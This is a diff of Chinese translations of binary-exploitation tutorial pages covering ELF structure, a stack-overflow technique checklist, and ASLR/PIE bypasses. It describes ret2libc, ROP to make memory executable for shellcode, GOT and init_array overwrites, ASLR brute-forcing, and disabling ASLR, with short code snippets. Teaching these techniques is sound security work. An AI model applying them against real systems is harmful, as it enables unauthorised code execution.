- **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** 在常规 bof 中,您需要绕过(泄漏)它
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它不会改变
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html),您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
|
||||
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您需要使用一些 [**ROP**](../rop-return-oriented-programing/index.html) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **在其中存储 shellcode**(例如调用 read)并跳转到那里。
|
||||
- **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** 在常规 bof 中,您需要绕过(泄漏)它。
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它不会改变。
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html),您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它。
|
||||
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您需要使用一些 [**ROP**](../rop-return-oriented-programing/index.html) **来调用 `memprotect`** 并使某些页面 `rwx`,以便然后 **将 shellcode 存储在那里**(例如调用 read)并跳转到那里。
|
||||
- 这将把 shellcode 与 ROP 链混合。
|
||||
|
||||
#### 通过系统调用
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
|
||||
- 如果启用了 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html),您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) 可以用于准备 **ret2execve**
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 有用来调用 `execve` 以运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
|
||||
- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 被启用,您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) 可以用于准备 **ret2execve**。
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器。
|
||||
|
||||
#### 通过 libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): 有用的调用库中的函数(通常来自 **`libc`**),如 **`system`**,并带有一些准备好的参数(例如 `'/bin/sh'`)。您需要二进制文件 **加载库** 以调用您想要的函数(通常是 libc)。
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): 有用来调用库中的函数(通常是 **`libc`**)如 **`system`**,并带有一些准备好的参数(例如 `'/bin/sh'`)。您需要二进制文件 **加载库**,以便调用您想要的函数(通常是 libc)。
|
||||
- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html),`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **并且知道加载的 libc 版本**,`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。
|
||||
- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的情况下,知道 libc 并且二进制文件使用 `system` **函数,可以** 将 `ret` 返回到 GOT 中 system 的地址,并将 `'/bin/sh'` 的地址作为参数(您需要弄清楚这一点)。
|
||||
- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/index.html),知道 libc 并且 **没有二进制文件使用 `system`**:
|
||||
- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它
|
||||
- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/index.html) 的情况下,知道 libc 并且 **二进制文件没有使用 `system`**:
|
||||
- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它。
|
||||
- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **并且不知道 libc**:您需要:
|
||||
- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
|
||||
- 找到使用的 **`libc` 版本**(泄漏几个函数地址)
|
||||
- 检查 **与 ASLR 相关的先前场景** 以继续。
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **且不知道 libc**: 您需要:
|
||||
- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)。
|
||||
- 找到使用的 **`libc` 版本**(泄漏几个函数地址)。
|
||||
- 检查 **带有 ASLR 的先前场景** 以继续。
|
||||
|
||||
#### 通过 EBP/RBP
|
||||
|
||||
- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
|
||||
- 对于 **off-by-one** 栈溢出很有用
|
||||
- 作为控制 EIP 的替代方法,同时利用 EIP 在内存中构造有效负载,然后通过 EBP 跳转到它
|
||||
- [**栈枢轴 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
|
||||
- 对于 **越界一** 栈溢出很有用。
|
||||
- 作为一种替代方法,在利用 EIP 构造内存中的有效负载并通过 EBP 跳转到它时,结束控制 EIP。
|
||||
|
||||
#### 其他
|
||||
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
|
||||
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
|
||||
|
||||
|
||||
@ -37,7 +37,7 @@ Segment Sections...
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
之前的程序有 **9 个程序头**,然后,**段映射** 指示 **每个节所在的程序头**(从 00 到 08)。
|
||||
之前的程序有**9个程序头**,然后,**段映射**指示**每个节的位置**在哪个程序头中(从00到08)。
|
||||
|
||||
### PHDR - 程序头
|
||||
|
||||
@ -47,24 +47,24 @@ Segment Sections...
|
||||
|
||||
指示用于将二进制文件加载到内存中的加载器的路径。
|
||||
|
||||
> 提示:静态链接或静态-PIE 二进制文件将没有 `INTERP` 条目。在这些情况下,没有动态加载器参与,这会禁用依赖于它的技术(例如,`ret2dlresolve`)。
|
||||
> 提示:静态链接或静态-PIE二进制文件将没有`INTERP`条目。在这些情况下,没有动态加载器参与,这会禁用依赖于它的技术(例如,`ret2dlresolve`)。
|
||||
|
||||
### LOAD
|
||||
|
||||
这些头用于指示 **如何将二进制文件加载到内存中。**\
|
||||
每个 **LOAD** 头指示一个 **内存** 区域(大小、权限和对齐),并指示要复制到该区域的 ELF **二进制字节**。
|
||||
这些头用于指示**如何将二进制文件加载到内存中。**\
|
||||
每个**LOAD**头指示一个**内存**区域(大小、权限和对齐),并指示要复制到该区域的ELF **二进制文件的字节**。
|
||||
|
||||
例如,第二个的大小为 0x1190,应该位于 0x1fc48,具有读写权限,并将从偏移量 0xfc48 填充 0x528(它并没有填满所有的保留空间)。此内存将包含节 `.init_array .fini_array .dynamic .got .data .bss`。
|
||||
例如,第二个的大小为0x1190,应该位于0x1fc48,具有读写权限,并将从偏移量0xfc48填充0x528(它并没有填满所有的保留空间)。此内存将包含节`.init_array .fini_array .dynamic .got .data .bss`。
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
此头帮助将程序链接到其库依赖项并应用重定位。检查 **`.dynamic`** 节。
|
||||
此头有助于将程序链接到其库依赖项并应用重定位。检查**`.dynamic`**节。
|
||||
|
||||
### NOTE
|
||||
|
||||
此处存储有关二进制文件的供应商元数据信息。
|
||||
|
||||
- 在 x86-64 上,`readelf -n` 将显示 `.note.gnu.property` 中的 `GNU_PROPERTY_X86_FEATURE_1_*` 标志。如果您看到 `IBT` 和/或 `SHSTK`,则该二进制文件是使用 CET(间接分支跟踪和/或阴影栈)构建的。这会影响 ROP/JOP,因为间接分支目标必须以 `ENDBR64` 指令开头,并且返回会根据阴影栈进行检查。有关详细信息和绕过说明,请参见 CET 页面。
|
||||
- 在x86-64上,`readelf -n`将显示`.note.gnu.property`中的`GNU_PROPERTY_X86_FEATURE_1_*`标志。如果您看到`IBT`和/或`SHSTK`,则该二进制文件是使用CET(间接分支跟踪和/或阴影栈)构建的。这会影响ROP/JOP,因为间接分支目标必须以`ENDBR64`指令开始,并且返回会根据阴影栈进行检查。有关详细信息和绕过说明,请参见CET页面。
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -72,21 +72,21 @@ Segment Sections...
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
定义堆栈展开表的位置,供调试器和 C++ 异常处理运行时函数使用。
|
||||
定义堆栈展开表的位置,供调试器和C++异常处理运行时函数使用。
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
包含堆栈执行防止防御的配置。如果启用,二进制文件将无法从堆栈执行代码。
|
||||
包含堆栈执行防护的配置。如果启用,二进制文件将无法从堆栈执行代码。
|
||||
|
||||
- 使用 `readelf -l ./bin | grep GNU_STACK` 检查。要在测试期间强制切换,可以使用 `execstack -s|-c ./bin`。
|
||||
- 使用`readelf -l ./bin | grep GNU_STACK`检查。要在测试期间强制切换,可以使用`execstack -s|-c ./bin`。
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
指示二进制文件的 RELRO(重定位只读)配置。此保护将在程序加载后和开始运行之前,将内存的某些节(如 `GOT` 或 `init` 和 `fini` 表)标记为只读。
|
||||
指示二进制文件的RELRO(重定位只读)配置。此保护将在程序加载后和开始运行之前,将内存的某些节(如`GOT`或`init`和`fini`表)标记为只读。
|
||||
|
||||
在前面的示例中,它将 0x3b8 字节复制到 0x1fc48 作为只读,影响节 `.init_array .fini_array .dynamic .got .data .bss`。
|
||||
在前面的示例中,它将0x3b8字节复制到0x1fc48作为只读,影响节`.init_array .fini_array .dynamic .got .data .bss`。
|
||||
|
||||
请注意,RELRO 可以是部分或完整,部分版本不保护节 **`.plt.got`**,该节用于 **懒绑定**,并且需要此内存空间具有 **写权限** 以在第一次搜索其位置时写入库的地址。
|
||||
请注意,RELRO可以是部分或完整,部分版本不保护节**`.plt.got`**,该节用于**延迟绑定**,并需要此内存空间具有**写权限**以在第一次搜索其位置时写入库的地址。
|
||||
|
||||
> 有关利用技术和最新的绕过说明,请查看专门页面:
|
||||
|
||||
@ -96,11 +96,11 @@ Segment Sections...
|
||||
|
||||
### TLS
|
||||
|
||||
定义一个 TLS 条目表,存储有关线程局部变量的信息。
|
||||
定义一个TLS条目表,存储有关线程局部变量的信息。
|
||||
|
||||
## 节头
|
||||
|
||||
节头提供了 ELF 二进制文件的更详细视图。
|
||||
节头提供了ELF二进制文件的更详细视图。
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
@ -165,7 +165,7 @@ CONTENTS, READONLY
|
||||
|
||||
### 元部分
|
||||
|
||||
- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在**名称**字段中使用数字**45**。
|
||||
- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在**名称**字段中使用数字 **45**。
|
||||
- 为了找到字符串表的位置,ELF 包含一个指向字符串表的指针。
|
||||
- **符号表**:它包含有关符号的信息,如名称(在字符串表中的偏移量)、地址、大小以及有关符号的更多元数据。
|
||||
|
||||
@ -175,7 +175,7 @@ CONTENTS, READONLY
|
||||
- **`.data`**:在程序中具有定义值的全局变量。
|
||||
- **`.bss`**:未初始化的全局变量(或初始化为零)。这里的变量会自动初始化为零,从而防止无用的零被添加到二进制文件中。
|
||||
- **`.rodata`**:常量全局变量(只读部分)。
|
||||
- **`.tdata`** 和 **`.tbss`**:当使用线程局部变量时(C++ 中的 `__thread_local` 或 C 中的 `__thread`),类似于 .data 和 .bss。
|
||||
- **`.tdata`** 和 **`.tbss`**:当使用线程局部变量时,类似于 .data 和 .bss(C++ 中的 `__thread_local` 或 C 中的 `__thread`)。
|
||||
- **`.dynamic`**:见下文。
|
||||
|
||||
## 符号
|
||||
@ -206,7 +206,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
- **名称**
|
||||
- **绑定属性**(弱、局部或全局):局部符号只能被程序本身访问,而全局符号则在程序外部共享。弱对象例如是可以被不同函数覆盖的函数。
|
||||
- **类型**:NOTYPE(未指定类型)、OBJECT(全局数据变量)、FUNC(函数)、SECTION(节)、FILE(调试器的源代码文件)、TLS(线程局部变量)、GNU_IFUNC(用于重定位的间接函数)
|
||||
- **节**:它所在的索引
|
||||
- **节**:其所在的索引
|
||||
- **值**(内存中的地址)
|
||||
- **大小**
|
||||
|
||||
@ -261,9 +261,9 @@ The NEEDED directory indicates that the program **需要加载提到的库**以
|
||||
- `ld.so.cache`
|
||||
- 默认目录如`/lib64`、`/usr/lib64`等。
|
||||
|
||||
`$ORIGIN`可以在RPATH/RUNPATH中使用,以引用主对象的目录。从攻击者的角度来看,当你控制文件系统布局或环境时,这一点很重要。对于加固的二进制文件(AT_SECURE),加载器会忽略大多数环境变量。
|
||||
`$ORIGIN`可以在RPATH/RUNPATH中使用,以引用主对象的目录。从攻击者的角度来看,当你控制文件系统布局或环境时,这一点很重要。对于加固的二进制文件(AT_SECURE),大多数环境变量会被加载器忽略。
|
||||
|
||||
- 检查方法:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- 检查命令:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- 快速测试:`LD_DEBUG=libs ./bin 2>&1 | grep -i find`(显示搜索路径决策)
|
||||
|
||||
> Priv-esc提示:优先利用可写的RUNPATH或由你拥有的配置错误的`$ORIGIN`相对路径。在安全执行(setuid)上下文中,LD_PRELOAD/LD_AUDIT会被忽略。
|
||||
@ -350,7 +350,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
### 动态重定位和GOT
|
||||
|
||||
重定位也可以引用外部符号(如依赖项中的函数)。例如,来自libC的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)中(在重定位表中指示),其中应指定malloc的地址。
|
||||
重定位也可以引用外部符号(如依赖项中的函数)。例如,libC中的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)(在重定位表中指示)中,malloc的地址应该在此处指定。
|
||||
|
||||
### 过程链接表
|
||||
|
||||
@ -366,11 +366,11 @@ PLT节允许执行懒绑定,这意味着函数位置的解析将在第一次
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- `-fno-plt`使编译器通过**GOT条目直接**调用外部函数,而不是通过PLT存根。你会看到调用序列如`mov reg, [got]; call reg`而不是`call func@plt`。这减少了投机执行滥用,并稍微改变了围绕PLT存根的ROP小工具搜索。
|
||||
- -fno-plt使编译器通过**GOT条目直接**调用外部函数,而不是通过PLT存根。你会看到调用序列如mov reg, [got]; call reg,而不是call func@plt。这减少了投机执行滥用,并稍微改变了围绕PLT存根的ROP小工具搜索。
|
||||
|
||||
- PIE与静态-PIE:PIE(ET_DYN带`INTERP`)需要动态加载器并支持通常的PLT/GOT机制。静态-PIE(ET_DYN不带`INTERP`)由内核加载器应用重定位,并且没有`ld.so`;期望在运行时没有PLT解析。
|
||||
- PIE与静态-PIE:PIE(ET_DYN带INTERP)需要动态加载器并支持通常的PLT/GOT机制。静态-PIE(ET_DYN不带INTERP)由内核加载器应用重定位,没有ld.so;期望在运行时没有PLT解析。
|
||||
|
||||
> 如果GOT/PLT不是一个选项,可以转向其他可写代码指针或使用经典ROP/SROP进入libc。
|
||||
> 如果GOT/PLT不是选项,请转向其他可写代码指针或使用经典ROP/SROP进入libc。
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
@ -406,15 +406,15 @@ return 0;
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
从编译器的角度来看,为了在执行 `main` 函数之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分中。
|
||||
从编译器的角度来看,要在 `main` 函数执行之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分中。
|
||||
|
||||
另一种选择,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些条目的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。
|
||||
另一个选项,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。
|
||||
|
||||
此外,还可以有一个 **`PREINIT_ARRAY`**,其中包含将在 **`INIT_ARRAY`** 指针之前执行的 **指针**。
|
||||
|
||||
#### 利用注意事项
|
||||
|
||||
- 在部分 RELRO 下,这些数组位于在 `ld.so` 将 `PT_GNU_RELRO` 切换为只读之前仍然可写的页面中。如果你能在足够早的时候获得任意写入,或者你可以针对库的可写数组,你可以通过用你选择的函数覆盖一个条目来劫持控制流。在完全 RELRO 下,它们在运行时是只读的。
|
||||
- 在部分 RELRO 下,这些数组位于在 `ld.so` 将 `PT_GNU_RELRO` 切换为只读之前仍然可写的页面中。如果你能在足够早的时候进行任意写入,或者可以针对库的可写数组,你可以通过用你选择的函数覆盖一个条目来劫持控制流。在完全 RELRO 下,它们在运行时是只读的。
|
||||
|
||||
- 有关动态链接器的惰性绑定滥用以在运行时解析任意符号,请参见专门页面:
|
||||
|
||||
@ -429,7 +429,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
3. 执行 **`PREINIT_ARRAY`** 函数。
|
||||
4. 执行 **`INIT_ARRAY`** 函数。
|
||||
5. 如果有 **`INIT`** 条目,则调用它。
|
||||
6. 如果是库,dlopen 在这里结束;如果是程序,则是时候调用 **真实入口点**(`main` 函数)。
|
||||
6. 如果是库,dlopen 在此结束;如果是程序,则是时候调用 **真实入口点**(`main` 函数)。
|
||||
|
||||
## 线程局部存储 (TLS)
|
||||
|
||||
@ -445,13 +445,13 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
## 辅助向量 (auxv) 和 vDSO
|
||||
|
||||
Linux 内核向进程传递一个辅助向量,包含运行时有用的地址和标志:
|
||||
Linux 内核向进程传递一个辅助向量,包含运行时的有用地址和标志:
|
||||
|
||||
- `AT_RANDOM`:指向 16 个随机字节,glibc 用于栈金丝雀和其他 PRNG 种子。
|
||||
- `AT_SYSINFO_EHDR`:vDSO 映射的基地址(方便查找 `__kernel_*` 系统调用和小工具)。
|
||||
- `AT_EXECFN`、`AT_BASE`、`AT_PAGESZ` 等。
|
||||
|
||||
作为攻击者,如果你可以读取 `/proc` 下的内存或文件,你通常可以在目标进程中泄漏这些信息,而无需信息泄漏:
|
||||
作为攻击者,如果你可以读取 `/proc` 下的内存或文件,你通常可以在目标进程中泄露这些信息,而无需信息泄露:
|
||||
```bash
|
||||
# Show the auxv of a running process
|
||||
cat /proc/$(pidof target)/auxv | xxd
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**地址空间布局随机化 (ASLR)** 是一种在操作系统中使用的安全技术,用于 **随机化系统和应用程序进程使用的内存地址**。通过这样做,它使攻击者预测特定进程和数据(如堆栈、堆和库)的位置变得更加困难,从而减轻某些类型的攻击,特别是缓冲区溢出。
|
||||
**地址空间布局随机化 (ASLR)** 是一种在操作系统中使用的安全技术,用于 **随机化系统和应用程序进程使用的内存地址**。通过这样做,它使攻击者更难预测特定进程和数据的位置,例如堆栈、堆和库,从而减轻某些类型的攻击,特别是缓冲区溢出。
|
||||
|
||||
### **检查 ASLR 状态**
|
||||
|
||||
要 **检查** Linux 系统上的 ASLR 状态,可以从 **`/proc/sys/kernel/randomize_va_space`** 文件中读取值。存储在此文件中的值决定了应用的 ASLR 类型:
|
||||
|
||||
- **0**:没有随机化。一切都是静态的。
|
||||
- **1**:保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。
|
||||
- **2**:完全随机化。除了保守随机化随机化的元素外,通过 `brk()` 管理的内存也被随机化。
|
||||
- **0**: 无随机化。一切都是静态的。
|
||||
- **1**: 保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。
|
||||
- **2**: 完全随机化。除了保守随机化随机化的元素外,通过 `brk()` 管理的内存也被随机化。
|
||||
|
||||
您可以使用以下命令检查 ASLR 状态:
|
||||
```bash
|
||||
@ -20,11 +20,11 @@ cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **禁用 ASLR**
|
||||
|
||||
要 **禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外,通常不建议禁用 ASLR。以下是禁用它的方法:
|
||||
要**禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外,通常不建议禁用 ASLR。以下是禁用它的方法:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
您还可以通过以下方式禁用 ASLR:
|
||||
您还可以通过以下方式禁用 ASLR 以进行执行:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
@ -59,25 +59,25 @@ PaX 将进程地址空间分为 **3 组**:
|
||||
- **通过 `mmap()` 分配的内存** 和 **共享库** —> **16 位**,称为 `delta_mmap`。
|
||||
- **栈** —> **24 位**,称为 `delta_stack`。然而,它实际上使用 **11 位**(从第 10 字节到第 20 字节,包括),对齐到 **16 字节** —> 这导致 **524,288 个可能的真实栈地址**。
|
||||
|
||||
前面的数据适用于 32 位系统,减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能,直到利用成功完成。
|
||||
上述数据适用于 32 位系统,减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能,直到利用成功完成。
|
||||
|
||||
#### 暴力破解思路:
|
||||
|
||||
- 如果您有足够大的溢出以容纳 **大 NOP sled 在 shellcode 之前**,您可以在栈中暴力破解地址,直到流程 **跳过 NOP sled 的某部分**。
|
||||
- 如果溢出不大,并且利用可以在本地运行,另一种选择是 **在环境变量中添加 NOP sled 和 shellcode**。
|
||||
- 如果您有足够大的溢出以容纳 **大 NOP 滑道在 shellcode 之前**,您可以在栈中暴力破解地址,直到流程 **跳过 NOP 滑道的某部分**。
|
||||
- 如果溢出不大,并且利用可以在本地运行,另一种选择是 **在环境变量中添加 NOP 滑道和 shellcode**。
|
||||
- 如果利用是本地的,您可以尝试暴力破解 libc 的基地址(对 32 位系统有用):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
- 如果攻击远程服务器,您可以尝试**暴力破解`libc`函数`usleep`的地址**,传递参数10(例如)。如果在某个时刻**服务器响应多了10秒**,您就找到了这个函数的地址。
|
||||
- 如果攻击远程服务器,您可以尝试**暴力破解 `libc` 函数 `usleep` 的地址**,传递参数 10(例如)。如果在某个时刻**服务器响应多了 10 秒**,您就找到了这个函数的地址。
|
||||
|
||||
> [!TIP]
|
||||
> 在64位系统中,熵要高得多,这种情况不应该发生。
|
||||
> 在 64 位系统中,熵要高得多,这种情况不应该发生。
|
||||
|
||||
### 64位栈暴力破解
|
||||
### 64 位栈暴力破解
|
||||
|
||||
可以用环境变量占用栈的大部分,然后尝试在本地数百/数千次滥用该二进制文件进行利用。\
|
||||
以下代码展示了如何**仅选择栈中的一个地址**,并且每**几百次执行**后,该地址将包含**NOP指令**:
|
||||
以下代码展示了如何**仅选择栈中的一个地址**,并且每**几百次执行**后,该地址将包含**NOP 指令**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
@ -163,7 +163,7 @@ pass
|
||||
|
||||
- **挑战在于提供一个泄漏**
|
||||
|
||||
如果你得到了一个泄漏(简单的 CTF 挑战),你可以从中计算偏移量(假设例如你知道你正在利用的系统中使用的确切 libc 版本)。这个示例利用提取自 [**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)(查看该页面以获取更多详细信息):
|
||||
如果你得到了一个泄漏(简单的 CTF 挑战),你可以从中计算偏移量(假设例如你知道你正在利用的系统中使用的确切 libc 版本)。这个示例利用是从 [**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) 提取的(查看该页面以获取更多详细信息):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -226,11 +226,11 @@ ret2ret.md
|
||||
### vsyscall
|
||||
|
||||
**`vsyscall`** 机制通过允许某些系统调用在用户空间中执行来提高性能,尽管它们本质上是内核的一部分。**vsyscalls** 的关键优势在于它们的 **固定地址**,这些地址不受 **ASLR**(地址空间布局随机化)的影响。这种固定特性意味着攻击者不需要信息泄漏漏洞来确定它们的地址并在利用中使用它们。\
|
||||
然而,这里不会找到超级有趣的小工具(尽管例如可以获得 `ret;` 等效物)
|
||||
然而,这里不会找到超级有趣的小工具(尽管例如可以获得一个 `ret;` 等效指令)
|
||||
|
||||
(以下示例和代码来自 [**此写作**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||||
|
||||
例如,攻击者可能在利用中使用地址 `0xffffffffff600800`。虽然尝试直接跳转到 `ret` 指令可能会导致不稳定或在执行几个小工具后崩溃,但跳转到 **vsyscall** 部分提供的 `syscall` 开始可以证明是成功的。通过仔细放置一个 **ROP** 小工具,将执行引导到这个 **vsyscall** 地址,攻击者可以在不需要绕过 **ASLR** 的情况下实现代码执行。
|
||||
例如,攻击者可能在利用中使用地址 `0xffffffffff600800`。虽然尝试直接跳转到 `ret` 指令可能会导致在执行几个小工具后不稳定或崩溃,但跳转到 **vsyscall** 部分提供的 `syscall` 开始处可能会成功。通过仔细放置一个 **ROP** 小工具,将执行引导到这个 **vsyscall** 地址,攻击者可以在不需要绕过 **ASLR** 的情况下实现代码执行。
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
@ -273,7 +273,7 @@ gef➤ x/4i 0xffffffffff600800
|
||||
```
|
||||
### vDSO
|
||||
|
||||
因此,请注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,则可能通过 **利用 vdso 绕过 ASLR**,因为 vdso 地址不会被随机化。有关更多信息,请查看:
|
||||
注意,如果内核是使用 CONFIG_COMPAT_VDSO 编译的,**利用 vdso 绕过 ASLR** 可能是可行的,因为 vdso 地址不会被随机化。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2vdso.md
|
||||
|
||||
@ -6,24 +6,25 @@
|
||||
|
||||
编译为 PIE(**位置无关可执行文件**)的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**,防止硬编码地址。
|
||||
|
||||
